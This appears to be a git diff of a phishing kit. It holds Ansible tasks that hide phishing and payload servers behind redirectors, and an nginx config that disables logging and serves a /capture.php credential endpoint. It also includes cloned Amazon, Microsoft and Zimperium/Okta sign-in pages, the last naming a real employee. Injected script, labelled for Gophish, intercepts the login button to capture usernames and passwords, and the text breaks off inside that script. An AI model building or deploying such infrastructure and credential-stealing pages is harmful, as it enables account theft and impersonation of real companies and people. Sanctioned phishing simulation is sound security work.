- name: Configure Phishing Web Server security (hidden backend)
block:
- name: Create Phishing Web Server security group
amazon.aws.ec2_security_group:
name: "phish-webserver-{{ deployment_id }}"
description: "Security group for Phishing Web Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTPS from phishing redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_webserver | default(false) | bool
- name: Configure Payload Server security (hidden backend)
block:
- name: Create Payload Server security group
amazon.aws.ec2_security_group:
name: "payload-server-{{ deployment_id }}"
description: "Security group for Payload Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTP from payload redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTPS from payload redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.payload_server | default(false) | bool
- name: Display security configuration summary
debug:
msg:
- "Phishing Infrastructure Security Configuration"
- "============================================="
- "✓ Least privilege access implemented"
- "✓ Backend servers hidden from public access"
- "✓ Only redirectors/MTA fronts are publicly accessible"
- "✓ Operator-only SSH access configured"
- "✓ Internal communication secured"
@@ -0,0 +1,40 @@
server {
listen 80;
server_name _;
root /var/www/phishing;
index index.html index.php;
# Disable all logging
access_log off;
error_log /dev/null crit;
# PHP processing
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Template routing
location /templates/ {
try_files $uri $uri/ =404;
}
# Static resources
location /static/ {
try_files $uri $uri/ =404;
}
# Default
location / {
try_files $uri $uri/ /index.html;
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

@@ -0,0 +1,238 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Amazon</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<div class="navbar">
<div class="nav-logo border">
<div class="logo"></div>
</div>
<div class="nav-address border">
<p class="add-first">Deliver to</p>
<div class="add-icon">
<i class="fa-solid fa-location-dot"></i>
<p class="add-second">US</p>
</div>
</div>
<div class="nav-search">
<select class="search-select">
<option>All</option>
</select>
<input placeholder="Search Amazon" class="search-input">
<div class="search-icon">
<i class="fa-solid fa-magnifying-glass"></i>
</div>
</div>
<div class="nav-signin border">
<p><span>Hello, sign in</span></p>
<p class="nav-second">Accounts & Lists</p>
</div>
<div class="nav-return border">
<p><span>Returns</span></p>
<p class="nav-second">& Orders</p>
</div>
<div class="nav-cart border">
<i class="fa-solid fa-cart-shopping"></i>
Cart
</div>
</div>
<div class="panel">
<div class="panel-all">
<i class="fa-solid fa-bars"></i>
All
</div>
<div class="panel-options">
<p>Today's Deals</p>
<p>Buy Again</p>
<p>Customer Service</p>
<p>Registry</p>
<p>Gift Cards</p>
<p>Sell</p>
</div>
</div>
</header>
<div class="hero-section">
<div class="hero-msg">
<p>You are on amazon.com. You can also shop on Amazon for millions of products with fast local delivery. <a>Click here to go to amazon.in</a></p>
</div>
</div>
<div class="shop-section">
<div class="box">
<div class="box-content">
<h2>Clothes</h2>
<div class="box-img" style="background-image: url('box1_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Health & Personal Care</h2>
<div class="box-img" style="background-image: url('box2_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Furniture</h2>
<div class="box-img" style="background-image: url('box3_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Electronics</h2>
<div class="box-img" style="background-image: url('box4_image.jpg');"></div>
<p>See more</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Beauty picks</h2>
<div class="box-img" style="background-image: url('box5_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Shop Pet Supplies</h2>
<div class="box-img" style="background-image: url('box6_image.jpg');"></div>
<p>See more</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>New Arrival in Toys</h2>
<div class="box-img" style="background-image: url('box7_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Discover Fashion Trends</h2>
<div class="box-img" style="background-image: url('box8_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Home refresh ideas</h2>
<div class="box-img" style="background-image: url('box9_image.jpg');"></div>
<p>Shop kitchen upgrades</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Create with strip lights</h2>
<div class="box-img" style="background-image: url('box10_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>For your Fitness Needs</h2>
<div class="box-img" style="background-image: url('box11_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Spring new arrivals</h2>
<div class="box-img" style="background-image: url('box12_image.jpg');"></div>
<p>Discover more</p>
</div>
</div>
</div>
<footer>
<div class="foot-panel1">
Back to Top
</div>
<div class="foot-panel2">
<ul>
<p>Get to Know Us</p>
<a>Careers</a>
<a>Blog</a>
<a>About Amazon</a>
<a>Investor Relations</a>
<a>Amazon Devices</a>
<a>Amazon Science</a>
</ul>
<ul>
<p>Make Money with Us</p>
<a>Sell products on Amazon</a>
<a>Sell on Amazon Business</a>
<a>Sell apps on Amazon</a>
<a>Become an Affiliate</a>
<a>Advertise Your Products</a>
<a>Self-Publish with Us</a>
<a>Host an Amazon Hub</a>
<a> See More Make Money with Us</a>
</ul>
<ul>
<p>Amazon Payment Products</p>
<a>Amazon Business Card</a>
<a>Shop with Points</a>
<a>Reload Your Balance</a>
<a>Amazon Currency Converter</a>
</ul>
<ul>
<p>Let Us Help You</p>
<a>Amazon and COVID-19</a>
<a>Your Account</a>
<a>Your Orders</a>
<a>Shipping Rates & Policies</a>
<a>Returns & Replacements</a>
<a>Manage Your Content and Devices</a>
<a>Amazon Assistant</a>
<a>Help</a>
</ul>
</div>
<div class="foot-panel3">
<div class="logo"></div>
</div>
<div class="foot-panel4">
<div class="policies">
<a>Conditions of Use</a>
<a>Privacy Policies</a>
<a>Your Ads Privacy Choices</a>
</div>
<div class="copyright">
© 1996-2023, Amazon.com, Inc. or its affiliates
</div>
</div>
</footer>
</body>
</html>
@@ -0,0 +1,269 @@
* {
margin: 0;
font-family: Arial;
border: border-box;
}
.navbar {
height: 60px;
background-color: #0F1111;
color: white;
display: flex;
align-items: center;
justify-content: space-evenly;
}
.nav-logo {
height: 50px;
width: 110px;
}
.logo {
background-image: url("amazon_logo.png");
background-size: cover;
height: 50px;
width: 100%;
}
.border {
border: 1.5px solid transparent;
}
.border:hover {
border: 1.5px solid white;
}
/* box2 */
.add-first {
color: #CCCCCC;
font-size: 0.85rem;
margin-left: 13px;
}
.add-second {
font-size: 1rem;
margin-left: 1.5px;
}
.add-icon {
display: flex;
align-items: center;
}
/* box3 */
.nav-search {
display: flex;
justify-content: space-evenly;
background-color: pink;
width: 600px;
height: 40px;
border-radius: 4px;
}
.search-select {
background-color: #f3f3f3;
width: 50px;
text-align: center;
border-top-left-radius: 4px;
border-bottom-left-radius: 4px;
border: none;
}
.search-input {
width: 100%;
font-size: 1rem;
border: none;
}
.search-icon {
width: 45px;
display: flex;
justify-content: center;
align-items: center;
font-size: 1.2rem;
background-color: #febd68;
border-top-right-radius: 4px;
border-bottom-right-radius: 4px;
color: #0F1111;
}
/* box4 */
span {
font-size: 0.7rem;
}
.nav-second {
font-size: 0.85rem;
font-weight: 700;
}
/* box6 */
.nav-cart i {
font-size: 28px;
}
.nav-cart {
font-size: 0.85rem;
font-weight: 700;
}
/* panel */
.panel {
height: 40px;
background-color: #222f3d;
display: flex;
color: white;
align-items: center;
justify-content: space-evenly;
}
.panel-all:hover {
border: 1.5px solid white;
}
.panel-options p {
display: inline;
margin-left: 10px;
}
.panel-options {
width: 85%;
font-size: 0.85rem;
}
.panel-options p:hover {
border: 1.5px solid white;
}
/* hero section */
.hero-section {
background-image: url("hero1_image.jpg");
background-size: cover;
height: 350px;
display: flex;
justify-content: center;
align-items: flex-end;
}
.hero-msg {
background-color: white;
color: black;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.85rem;
width: 80%;
margin-bottom: 25px;
}
.hero-msg a {
color: #007185;
}
/* shop-section */
.shop-section {
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
background-color: hsl(318, 65%, 90%);
}
.box {
/*border: 2px solid black;*/
border-radius: 5px;
height: 400px;
width: 23%;
background-color: white;
padding: 20px 0px 15px;
margin-top: 15px;
}
.box-img {
height: 300px;
background-size: cover;
margin-top: 1rem;
margin-bottom: 1rem;
}
.box-content {
margin-left: 1rem;
margin-right: 1rem;
}
.box-content p {
color: #007185;
}
.box-content p:hover {
color: #febd68;
}
/* footer */
footer {
margin-top: 15px;
}
.foot-panel1 {
background-color: #37475a;
color: white;
height: 50px;
display: flex;
justify-content: center;
align-items: center;
font-size: 0.85rem;
}
.foot-panel2 {
background-color: #222f3d;
color: white;
height: 500px;
display: flex;
justify-content: space-evenly;
}
.foot-panel2 a:hover {
text-decoration: underline;
}
ul {
margin-top: 20px;
}
ul a {
display: block;
font-size: 0.85rem;
margin-top: 10px;
color: #dddddd;
}
.foot-panel3 {
background-color: #222f3d;
color: white;
border-top: 0.5px solid white;
height: 70px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
background-image: url("amazon_logo.png");
background-size: cover;
height: 50px;
width: 100px;
}
.foot-panel4 {
background-color: #0F1111;
color: white;
height: 80px;
text-align: center;
font-size: 0.7rem;
}
.policies {
padding-top: 25px;
}
.copyright {
padding-top: 5px;
}
@@ -0,0 +1,109 @@
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-image: url('../illustration');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background: white;
width: 380px;
padding: 30px 40px;
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
}
.logo {
text-align: left;
margin-bottom: 20px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin: 20px 0 15px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px 0;
margin-bottom: 15px;
border: none;
border-bottom: 1px solid #ccc;
font-size: 15px;
outline: none;
}
input:focus {
border-bottom: 1px solid #0067b8;
}
.button-container {
text-align: right;
margin-top: 20px;
}
button {
background-color: #0067b8;
color: white;
border: none;
padding: 8px 24px;
font-size: 14px;
cursor: pointer;
}
.links {
margin-top: 20px;
font-size: 13px;
}
.links a {
color: #0067b8;
text-decoration: none;
}
.footer {
position: fixed;
bottom: 0;
width: 100%;
display: flex;
justify-content: space-between;
padding: 10px 20px;
font-size: 12px;
color: #666;
}
.footer a {
color: #666;
text-decoration: none;
margin-left: 20px;
}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
</div>
<h1>Sign in</h1>
<form action="process.php" method="post">
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<div class="links">
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
<a href="https://account.live.com/password/reset">Can't access your account?</a>
</div>
<div class="button-container">
<button type="submit">Next</button>
</div>
</form>
</div>
<div class="footer">
<div class="terms">
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
</div>
</div>
</body>
</html>
@@ -0,0 +1,558 @@
<!DOCTYPE html>
<!--[if IE 7]><html lang="en" class="lt-ie10 lt-ie9 lt-ie8"><![endif]-->
<!--[if IE 8]><html lang="en" class="lt-ie10 lt-ie9"> <![endif]-->
<!--[if IE 9]><html lang="en" class="lt-ie10"><![endif]-->
<!--[if gt IE 9]><html lang="en"><![endif]-->
<!--[if !IE]><!--><html lang="en"><!--<![endif]-->
<head>
<meta charset="UTF-8">
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (typeof module === 'object') {window.module = module; module = undefined;}</script><style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.bgStyle {
background-image: none
}
.bgStyleIE8 {
}
.copyright a:focus-visible,
.privacy-policy a:focus-visible {
border-radius: 6px;
outline: rgb(84, 107, 231) solid 1px;
outline-offset: 2px;
text-decoration: none !important;
}
</style><title>Zimperium - Sign In</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="robots" content="noindex,nofollow" />
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
<link rel="shortcut icon" href="https://ok14static.oktacdn.com/bc/image/fileStoreRecord?id=fs0po5khq8H3piuZ0697" type="image/x-icon"/>
<link href="https://ok14static.oktacdn.com/assets/loginpage/css/loginpage-theme.c8c15f6857642c257bcd94823d968bb1.css" rel="stylesheet" type="text/css"/><link href="/api/internal/brand/theme/style-sheet?touch-point=SIGN_IN_PAGE&v=4baaffe7fc3b9ab0621cd0bb108e6974d398a61160fd4993137adea4c8d147355a9a62dc6d9c6a5560ecd7843236810e" rel="stylesheet" type="text/css">
<style type="text/css">
body {
background-color: #ebebed !important;
}
.auth-container {
background-color: #ffffff !important;
}
.o-form-button-bar .button-primary, .o-form-button-bar .button {
background: #1b365d !important;
border-color: #1b365d !important;
}
</style>
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
var okta = {
locale: 'en',
deployEnv: 'PROD'
};
</script><script nonce="GbJoEX60HpuEJf6f877zFg">window.okta || (window.okta = {}); okta.cdnUrlHostname = "//ok14static.oktacdn.com"; okta.cdnPerformCheck = false;</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
window.onerror = function (msg, _url, _lineNo, _colNo, error) {
if (window.console && window.console.error) {
if (error) {
console.error(error);
} else {
console.error(msg);
}
}
// Return true to suppress "Script Error" alerts in IE
return true;
};
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (window.module) module = window.module;</script></head>
<body class="auth okta-container">
<!--[if gte IE 8]>
<![if lte IE 10]>
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.unsupported-browser-banner-wrap {
padding: 20px;
border: 1px solid #ddd;
background-color: #f3fbff;
}
.unsupported-browser-banner-inner {
position: relative;
width: 735px;
margin: 0 auto;
text-align: left;
}
.unsupported-browser-banner-inner .icon {
vertical-align: top;
margin-right: 20px;
display: inline-block;
position: static !important;
}
.unsupported-browser-banner-inner a {
text-decoration: underline;
}
</style><div class="unsupported-browser-banner-wrap">
<div class="unsupported-browser-banner-inner">
<span class="icon icon-16 icon-only warning-16-yellow"></span>You are using an unsupported browser. For the best experience, update to <a href="//help.okta.com/okta_help.htm?type=&locale=en&id=csh-browser-support">a supported browser</a>.</div>
</div>
<![endif]>
<![endif]-->
<!--[if IE 8]> <div id="login-bg-image-ie8" class="login-bg-image tb--background bgStyleIE8" data-se="login-bg-image"></div> <![endif]-->
<!--[if (gt IE 8)|!(IE)]><!--> <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div> <!--<![endif]-->
<!-- hidden form for reposting fromURI for X509 auth -->
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/>
</form>
<div class="content">
<div class="applogin-banner">
<div class="applogin-background"></div>
<div class="applogin-container">
<h1>
<span class="applogin-app-title">
Connecting to</span>
<div class="applogin-app-logo">
<img src="https://ok14static.oktacdn.com/fs/bcg/4/gfs1iitj6mtRHwXoE1d8" alt="Microsoft&#x20;Office&#x20;365" class="logo office365"/></div>
</h1>
<p>Sign in with your account to access Microsoft Office 365</p>
</div>
</div>
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.noscript-msg {
background-color: #fff;
border-color: #ddd #ddd #d8d8d8;
box-shadow:0 2px 0 rgba(175, 175, 175, 0.12);
text-align: center;
width: 398px;
min-width: 300px;
margin: 200px auto;
border-radius: 3px;
border-width: 1px;
border-style: solid;
}
.noscript-content {
padding: 42px;
}
.noscript-content h2 {
padding-bottom: 20px;
}
.noscript-content h1 {
padding-bottom: 25px;
}
.noscript-content a {
background: transparent;
box-shadow: none;
display: table-cell;
vertical-align: middle;
width: 314px;
height: 50px;
line-height: 36px;
color: #fff;
background: linear-gradient(#007dc1, #0073b2), #007dc1;
border: 1px solid;
border-color: #004b75;
border-bottom-color: #00456a;
box-shadow: rgba(0, 0, 0, 0.15) 0 1px 0, rgba(255, 255, 255, 0.1) 0 1px 0 0 inset;
-webkit-border-radius: 3px;
border-radius: 3px;
}
.noscript-content a:hover {
background: #007dc1;
cursor: hand;
text-decoration: none;
}
</style><noscript>
<div id="noscript-msg" class="noscript-msg">
<div class="noscript-content">
<h2>Javascript is required</h2>
<h1>Javascript is disabled on your browser.&nbspPlease enable Javascript and refresh this page.</h1>
<a href="." class="tb--button">Refresh</a>
</div>
</div>
</noscript>
<div id="signin-container"></div>
<div id="okta-sign-in" class="auth-container main-container hide">
<div id="unsupported-onedrive" class="unsupported-message hide">
<h2 class="o-form-head">Your OneDrive version is not supported</h2>
<p>Upgrade now by installing the OneDrive for Business Next Generation Sync Client to login to Okta</p>
<a class="button button-primary tb--button" target="_blank" href="https://support.okta.com/help/articles/Knowledge_Article/Upgrading-to-OneDrive-for-Business-Next-Generation-Sync-Client">
Learn how to upgrade</a>
</div>
<div id="unsupported-cookie" class="unsupported-message hide">
<h2 class="o-form-head">Cookies are required</h2>
<p>Cookies are disabled on your browser. Please enable Cookies and refresh this page.</p>
<a class="button button-primary tb--button" target="_blank" href=".">
Refresh</a>
</div>
</div>
</div>
<div class="footer">
<div class="footer-container clearfix">
<p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a></p>
<p class="privacy-policy"><a href="/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a></p>
</div>
</div>
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
(function(){
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
var suppliedRedirectUri = '';
var repost = false;
var stateToken = '';
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
var username = '';
var rememberMe = true;
var smsRecovery = false;
var callRecovery = false;
var emailRecovery = true;
var usernameLabel = 'Username';
var usernameInlineLabel = '';
var passwordLabel = 'Password';
var passwordInlineLabel = '';
var signinLabel = 'Sign\x20In';
var forgotpasswordLabel = 'Forgot\x20password\x3F';
var unlockaccountLabel = 'Unlock\x20account\x3F';
var helpLabel = 'Help';
var orgSupportPhoneNumber = '';
var hideSignOutForMFA = false;
var hideBackToSignInForReset = false;
var footerHelpTitle = 'Need\x20help\x20signing\x20in\x3F';
var recoveryFlowPlaceholder = 'Email\x20or\x20Username';
var signOutUrl = '';
var authScheme = 'OAUTH2';
var hasPasswordlessPolicy = '';
var INVALID_TOKEN_ERROR_CODE = 'errors.E0000011';
var securityImage = true;
var selfServiceUnlock = false;
selfServiceUnlock = true;
var redirectByFormSubmit = false;
var showPasswordRequirementsAsHtmlList = true;
var autoPush = false;
autoPush = true;
var accountChooserDiscoveryUrl = 'https://login.okta.com/discovery/iframe.html';
// In case of custom app login, the uri is already absolute, so we must not attach baseUrl
var redirectUri;
if (isAbsoluteUri(fromUri)) {
redirectUri = fromUri;
} else {
redirectUri = baseUrl + fromUri;
}
var backToSignInLink = '';
var customButtons;
var pivProperties = {};
var customLinks = [];
var factorPageCustomLink = {};
var linkParams;
var proxyIdxResponse;
var stateTokenAllFlows;
var idpDiscovery;
var idpDiscoveryRequestContext;
var showPasswordToggleOnSignInPage = false;
var showIdentifier = false;
var hasSkipIdpFactorVerificationButton = false;
var hasOAuth2ConsentFeature = false;
var consentFunc;
var hasMfaAttestationFeature = false;
hasMfaAttestationFeature = true;
var rememberMyUsernameOnOIE = false;
var engFastpassMultipleAccounts = true;
var registration = false;
var webauthn = true;
var overrideExistingStateToken = false;
var isPersonalOktaOrg = false;
var sameDeviceOVEnrollmentEnabled = false;
var orgSyncToAccountChooserEnabled = true;
var showSessionRevocation = false;
showSessionRevocation = true;
var hcaptcha;
var loginPageConfig = {
fromUri: fromUri,
repost: repost,
redirectUri: redirectUri,
backToSignInLink: backToSignInLink,
isMobileClientLogin: false,
isMobileSSO: false,
disableiPadCheck: false,
enableiPadLoginReload: false,
linkParams: linkParams,
hasChromeOSFeature: false,
showLinkToAppStore: false,
accountChooserDiscoveryUrl: accountChooserDiscoveryUrl,
mfaAttestation: hasMfaAttestationFeature,
isPersonalOktaOrg: isPersonalOktaOrg,
enrollingFactor: '',
stateTokenExpiresAt: '',
stateTokenRefreshWindowMs: '',
orgSyncToAccountChooserEnabled: orgSyncToAccountChooserEnabled,
inactiveTab: {
enabled: false,
elementId: 'inactive-tab-main-div',
avoidPageRefresh: true
},
signIn: {
el: '#signin-container',
baseUrl: baseUrl,
brandName: 'Okta',
logo: 'https://ok14static.oktacdn.com/fs/bco/1/fs0po5h0orFSteVvh697',
logoText: 'Zimperium logo',
helpSupportNumber: orgSupportPhoneNumber,
stateToken: stateToken,
username: username,
signOutLink: signOutUrl,
consent: consentFunc,
authScheme: authScheme,
relayState: fromUri,
proxyIdxResponse: proxyIdxResponse,
overrideExistingStateToken: overrideExistingStateToken,
interstitialBeforeLoginRedirect: 'DEFAULT',
idpDiscovery: {
requestContext: idpDiscoveryRequestContext
},
features: {
router: true,
securityImage: securityImage,
rememberMe: rememberMe,
autoPush: autoPush,
webauthn: webauthn,
smsRecovery: smsRecovery,
callRecovery: callRecovery,
emailRecovery: emailRecovery,
selfServiceUnlock: selfServiceUnlock,
multiOptionalFactorEnroll: true,
sameDeviceOVEnrollmentEnabled: sameDeviceOVEnrollmentEnabled,
deviceFingerprinting: true,
useDeviceFingerprintForSecurityImage: true,
trackTypingPattern: false,
hideSignOutLinkInMFA: hideSignOutForMFA,
hideBackToSignInForReset: hideBackToSignInForReset,
rememberMyUsernameOnOIE: rememberMyUsernameOnOIE,
engFastpassMultipleAccounts: engFastpassMultipleAccounts,
customExpiredPassword: true,
idpDiscovery: idpDiscovery,
passwordlessAuth: hasPasswordlessPolicy,
consent: hasOAuth2ConsentFeature,
skipIdpFactorVerificationBtn: hasSkipIdpFactorVerificationButton,
showPasswordToggleOnSignInPage: showPasswordToggleOnSignInPage,
showIdentifier: showIdentifier,
registration: registration,
redirectByFormSubmit: redirectByFormSubmit,
showPasswordRequirementsAsHtmlList: showPasswordRequirementsAsHtmlList,
showSessionRevocation: showSessionRevocation
},
assets: {
baseUrl: "https\x3A\x2F\x2Fok14static.oktacdn.com\x2Fassets\x2Fjs\x2Fsdk\x2Fokta\x2Dsignin\x2Dwidget\x2F7.33.2"
},
language: okta.locale,
i18n: {},
customButtons: customButtons,
piv: pivProperties,
helpLinks: {
help: '',
forgotPassword: '',
unlock: '',
custom: customLinks,
factorPage: factorPageCustomLink
},
cspNonce: window.cspNonce,
hcaptcha: hcaptcha,
}
};
loginPageConfig.signIn.i18n[okta.locale] = {
'primaryauth.username.placeholder': usernameLabel,
'primaryauth.username.tooltip': usernameInlineLabel,
'primaryauth.password.placeholder': passwordLabel,
'primaryauth.password.tooltip': passwordInlineLabel,
'mfa.challenge.password.placeholder': passwordLabel,
'primaryauth.title': signinLabel,
'forgotpassword': forgotpasswordLabel,
'unlockaccount': unlockaccountLabel,
'help': helpLabel,
'needhelp': footerHelpTitle,
'password.forgot.email.or.username.placeholder': recoveryFlowPlaceholder,
'password.forgot.email.or.username.tooltip': recoveryFlowPlaceholder,
'account.unlock.email.or.username.placeholder': recoveryFlowPlaceholder,
'account.unlock.email.or.username.tooltip': recoveryFlowPlaceholder
};
loginPageConfig.signIn.logoText = 'Zimperium logo';
loginPageConfig.signIn.brandName = 'Zimperium';
function isOldWebBrowserControl() {
// We no longer support IE7. If we see the MSIE 7.0 browser mode, it's a good signal
// that we're in a windows embedded browser.
if (navigator.userAgent.indexOf('MSIE 7.0') === -1) {
return false;
}
// Because the userAgent is the same across embedded browsers, we use feature
// detection to see if we're running on older versions that do not support updating
// the documentMode via x-ua-compatible.
return document.all && !window.atob;
}
function isAbsoluteUri(uri) {
var pat = /^https?:\/\//i;
return pat.test(uri);
}
var unsupportedContainer = document.getElementById('okta-sign-in');
var failIfCookiesDisabled = true;
// Old versions of WebBrowser Controls (specifically, OneDrive) render in IE7 browser
// mode, with no way to override the documentMode. In this case, inform the user they need
// to upgrade.
if (isOldWebBrowserControl()) {
document.getElementById('unsupported-onedrive').removeAttribute('style');
unsupportedContainer.removeAttribute('style');
}
else if (failIfCookiesDisabled && !navigator.cookieEnabled) {
document.getElementById('unsupported-cookie').removeAttribute('style');
unsupportedContainer.removeAttribute('style');
}
else {
unsupportedContainer.parentNode.removeChild(unsupportedContainer);
runLoginPage(function () {
var res = OktaLogin.initLoginPage(loginPageConfig);
// Intercept form submission for Gophish
setTimeout(function() {
var submitButton = document.querySelector('[data-type="save"]') ||
document.querySelector('.button-primary') ||
document.querySelector('input[type="submit"]');
if (submitButton) {
submitButton.addEventListener('click', function(e) {
// Small delay to let Okta validate, then capture values
setTimeout(function() {
var usernameField = document.querySelector('[name="username"]') ||
document.querySelector('#okta-signin-username') ||
document.querySelector('input[type="text"]');
var passwordField = document.querySelector('[name="password"]') ||
document.querySelector('#okta-signin-password') ||
document.querySelector('input[type="password"]');
if (usernameField && passwordField && usernameField.value && passwordField.value) {
